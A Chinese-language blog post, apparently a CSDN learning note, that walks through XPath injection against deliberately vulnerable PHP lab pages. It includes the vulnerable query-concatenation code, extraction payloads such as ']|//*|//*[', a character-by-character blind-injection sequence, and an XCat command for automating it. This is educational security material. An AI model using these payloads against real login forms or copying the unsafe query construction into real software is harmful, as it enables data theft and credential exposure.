mysql xpath注入_XPath注入学习

本文介绍了XPath注入的基本概念、原理和实例,包括如何利用注入获取XML数据。通过示例展示了如何利用']|//*|//*[' payload获取整个XML文件内容。此外,还探讨了XPath盲注的步骤,并提到了自动化工具XCat的使用,以及在使用过程中遇到的问题。
摘要由CSDN通过智能技术生成

XPath注入学习

这篇记录是看完先知社区:XPATH注入学习写的,所以可能很多内容是重复的。写这篇记录仅仅为了让自己更好的掌握XPath注入。

0x01 XPath入门

在学习XPath注入之前,先了解一下什么是XPath

学习入口:W3school学习XPath

按照我个人的理解,XPath就是用于查询xml节点的查询语句,类似于T-SQL。

0x02 XPath注入原理

XPath注入原理类似于SQL注入,当程序没有对用户输入的数据进行过滤就拼接到XPath查询语句中时,就可能产生XPath注入。但是与SQL注入不同的时,XPath没有用户权限这一说法,所以XPath注入容易导致所有XML数据泄露。

0x03 实例

实例1

// 1.php

$xml = simplexml_load_file('test.xml');

$query = "user/username[@name='" . $_GET['name'] . "']";

$result = $xml->xpath($query);

foreach($result as $k => $v){

echo $k . ' => ' . $v . '
';

}

?>

user1_value

user2_value

user3_value

user4_value

user5_value

user6_value

user7_value

flag{57e7f266bb0dc62f2cb0f25976c14e93}

正常XPath功能

当我们访问地址http://ctf.cn/1.php?name=user1时,查询语句是:user/username[@name='user1']。所以会查询user下的username节点,且username节点name属性的值为user1的节点内容。返回结果如下:

ff825beee5e51c25c6ce48d949ae9ff7.png

判断注入点

当我们在参数值中输入单引号'时,页面出现XPath查询报错,说明可能存在XPath注入。

此时的XPath语句:user/username[@name='user1'']

a1149ab9b437063fa5826b5b62b9c081.png

进一步判断注入点(获取更多数据)

当我们输入' or '1'='1时,可以看到将user/username下的所有节点值都查询出来了。

此时的XPath语句:user/username[@name='user1' or '1'='1']

680f98b5fcf29c042ba2b1f609e2ad68.png

获取整个xml文件数据

但是我们显然是不满足于获取这点数据的,XPath中一个类似于SQL注入中' or '1'='1的payload:']|//*|//*[',我们尝试一下:

此时的XPath语句:user/username[@name='user1']|//*|//*['']

df201477d71ec2127bc1825be809b977.png

payload解析

payload:']|//*|//*['

这里首先通过']闭合前面的语句,然后使用|运算符(使用|拼接多个语句时会返回多个语句查询结果的节点并集)拼接多个语句。

拼接的//*查询文档中所有元素

最后的//*['是为了闭合后面的']

实例2

在一些情况下,虽然后台代码执行了我们注入的XPath语句,当时没有回显数据,这时候就需要一些手段来进行盲注了。

// login.php

username:

password:

if (file_exists('account.xml')) {

$xml = simplexml_load_file('account.xml');

if ($_POST['submit']) {

$username = $_POST['username'];

$password = $_POST['password'];

$x_query = "/accounts/user[username='{$username}' and password='{$password}']";

print_r('XPath query:' . $x_query);

$result = $xml->xpath($x_query);

if (count($result) == 0) {

echo '

登录失败';

} else {

echo "

登录成功";

$login_user = $result[0]->username;

echo "you login as $login_user";

}

}

}

?>

Twe1ve

admin@xx.com

administrator

P@ssword123

test

tw@xx.com

normal

123456

下面的内容很多是照抄的,但是加了自己对payload细节的理解😅

XPath盲注步骤:

判断根节点下的节点数量

判断根节点下节点长度

判断根节点下节点名称

......

重复猜解完成所有

从根节点开始判断

count()函数返回节点数量

'or count(/)=1 and ''='

'or count(/*)=1 and ''='

这里的count(/)和count(/*)效果是一样的,都是获取根节点数量。而一个xml文件,仅允许有一个根节点,所以按照我个人的理解,这一步应该可以省略(非权威!!!)。然后还发现文章中的payload结尾用or ''='的话表达式恒等于真,没法判断,所以我改用and ''='了。

判断根节点长度为8

string-length()函数返回字符串长度

'or string-length(name(/*[1]))=8 and ''='

或者

'or string-length(name(/*))=8 and ''='

因为只有一个根节点,可以不使用[1]来指定第一个节点

猜解根节点名称

substring()函数类似于mysql的substring()

'or substring(name(/*[1]), 1, 1)='a' and ''='

或者

'or substring(name(/*), 1, 1)='a' and ''='

最终猜测得出根节点名称为:accounts

猜解根节点accounts下的子节点数量

' or count(/accounts/*)=2 and ''='

猜解根节点accounts下的第一个子节点名称长度

' or string-length(name(/accounts/*[1]))=4 and ''='

猜解根节点accounts下的第一个子节点名称

' or substring(name(/accounts/*[1]),1,1)='u' and ''='

最终猜测得出名称为:user

猜解/accounts/user下第一个子节点名称长度

' or string-length(name(/accounts/user/*[1]))=8 and ''='

猜解/accounts/user下第一个子节点名称

' or substring(name(/accounts/user/*[1]),1,1)='u' and ''='

最终猜测得出名称为:username

验证猜解结果

' or substring(name(/accounts/user[1]/*[1]),1)='username' and ''='

继续猜解/accounts/user[1]/username[1]/下是否有子节点

' or count(/accounts/user[1]/username/*)=0 and ''='

长度=0,无子节点

猜解/accounts/user[1]/username[1]的数据长度

' or string-length(/accounts/user[1]/username[1])=6 and ''='

数据长度为6

猜解/accounts/user[1]/username[1]的数据

' or substring((/accounts/user[1]/username[1]),1,1)='T' and ''='

最终数据为:Twe1ve

以此类推,最终获得所有的数据

0x04 自动化

手工盲注的时候你肯定很想念SQL注入中的sqlmap,XPath也有自动化的注入工具:XCat

官方和--help的使用说明着实让我难受,我这里就贴出我使用的命令行:

xcat run -e FORM -m POST --true-string Twe1ve http://ctf.cn/login.php password password=P@ssword123

// login.php

// account.xml是引用实例2中的

if (file_exists('account.xml')) {

$xml = simplexml_load_file('account.xml');

$username = 'Twe1ve';

$password = $_POST['password'];

$x_query = "/accounts/user[username='{$username}' and password='{$password}']";

//print_r('XPath query:' . $x_query);

$result = $xml->xpath($x_query);

if (count($result) == 0) {

echo '

登录失败';

} else {

echo "

登录成功";

$login_user = $result[0]->username;

echo "you login as $login_user";

}

}

?>

命令解析:

run 注入数据

-e 有两个值,URL或FORM,分别指定将payload放在URL上还是FORM上,就是get和post

--true-string 指定当页面出现某个字符串时查询条件为真,这里设置Twe1ve是因为登录成功时会提示登录成功you login as Twe1ve

password 请求参数

password=P@ssword123 请求参数的值,当值为P@ssword123时查询语句为真

在使用过程中,发现xcat无法指定多个参数。也就是说,xcat测试POST参数存在注入的时候只能发送username=admin,不能发送username=admin&password=pass。GET好像可以通过-b来指定一个文件,但是具体没有尝试过。通过多次测试没有找到可正常使用的办法,太菜了!

执行结果:

08c89172ab6cb9f5b103dbd72d0b821a.png

未解决的问题

看到先知社区:XPATH注入学习中一些payload使用position()=1来定位第1个节点,但是用[1]一样可以,为什么要写更复杂,这里我没有弄明白。希望各位师傅们能指点一下。

17110e21f489388885771920096f392e.png

25663b8b8889094ea749e35c08a208e2.png

2c54aa62b6e265b3c88f7a55f1ffa2e0.png

有不对的地方,还望各位师傅斧正!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值